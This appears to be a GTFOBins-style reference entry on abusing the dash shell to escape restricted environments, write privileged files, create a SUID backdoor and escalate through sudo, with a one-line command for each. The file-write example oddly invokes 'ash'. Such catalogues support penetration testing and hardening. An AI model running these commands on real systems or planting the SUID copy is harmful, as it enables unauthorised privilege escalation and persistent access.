.. / dash

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• Shell
• File write
• SUID
• Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• dash

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

• export LFILE=file_to_write
  ash -c 'echo DATA > $LFILE'

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

• sudo sh -c 'cp $(which dash) .; chmod +s ./dash'
  
  ./dash -p

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• sudo dash